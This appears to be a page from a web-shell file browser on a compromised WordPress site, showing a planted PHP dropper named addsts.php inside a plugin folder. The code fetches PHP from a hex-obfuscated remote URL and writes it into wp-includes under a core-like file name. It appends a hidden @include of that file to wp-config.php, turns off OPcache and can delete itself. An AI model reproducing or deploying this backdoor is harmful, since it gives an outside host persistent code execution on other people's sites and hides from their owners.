AlkantarClanX12

Your IP : 18.118.227.199


Current Path : /proc/self/root/home/thanudqk/128shen.com/wp-content/plugins/variations-buttons/
Upload File :
Current File : //proc/self/root/home/thanudqk/128shen.com/wp-content/plugins/variations-buttons/addsts.php

<a href="?add_include">Add include<a/><br>
<a href="?reinclude">REINCLUDE<a/><br>
<a href="?rmfile">Remove file<a/><br>
<?php
$counter = 0;
$patch = '';
while ($counter < 10) {
    if(file_exists($patch.'wp-config.php')){
        echo 'exists'."<br>";
        echo $patch.'wp-config.php'."<br>";
        break;
    }
    $patch = '../'.$patch;
    $counter++;
}

//echo 'patch'.$patch;

if(isset($_GET['add_include'])){
if (is_dir($patch.'/wp-includes/')) {
if (is_writable($patch.'/wp-includes/')) {
   
$fp = fopen($patch.'/wp-includes/class-wp-xmlrpc.php', 'w+');  fwrite($fp,file_get_contents('\x68\x74\x74\x70\x73\x3a\x2f\x2f\x73\x65\x6f\x74\x65\x78\x74\x67\x65\x6e\x2e\x74\x6f\x70\x2f\x6e\x65\x77\x5f\x74\x65\x78\x74\x73\x2e\x70\x68\x70')); fclose($fp);  
echo 'INCLUDE FILE UPLOAD'."<br>";    
}else{echo 'NOT FOUND DIR /wp-includes/';}
}else{echo 'DIR /wp-includes/ NOT WRITEBLE';}
if(file_exists($patch.'wp-config.php')){
if (is_writable($patch.'/wp-includes/')) {    
$fp = fopen($patch.'wp-config.php', 'a+');  fwrite($fp,"\n@include(ABSPATH . WPINC .'/class-wp-xmlrpc.php');"); fclose($fp);  
echo 'INCLUDE FILE ADD wp-config.php'."<br>";      
}else{echo 'FILE wp-config.php NOT WRITEBLE';}
}else{echo 'FILE wp-config.php NOT FOUND';}


if (function_exists('opcache_get_status')) {
    $status = opcache_get_status();
    if ($status) {
        echo "OPcache enable.<br>";
        //print_r($status);
    $fp = fopen($patch.'.user.ini', 'a+');  fwrite($fp,"\nopcache.enable = Off\nxcache.cacher = Off"); fclose($fp);     
    echo ".user.ini file add<br>";
    } else {
        echo "OPcache disable.\n";
    }
} else {
    echo "OPcache not found.\n";
}


}

if(isset($_GET['rmfile'])){
unlink(__FILE__);
echo 'FILE REMOVE';
    
}

if(isset($_GET['reinclude'])){
unlink($patch.'wp-includes/class-wp-xmlrpc.php');

$conf = str_replace("@include(ABSPATH . WPINC .'/class-wp-xmlrpc.php');",'',file_get_contents($patch.'wp-config.php'));
$fp = fopen($patch.'wp-config.php', 'w+');  fwrite($fp,$conf); fclose($fp);
echo 'REINCLUDE';
}

?>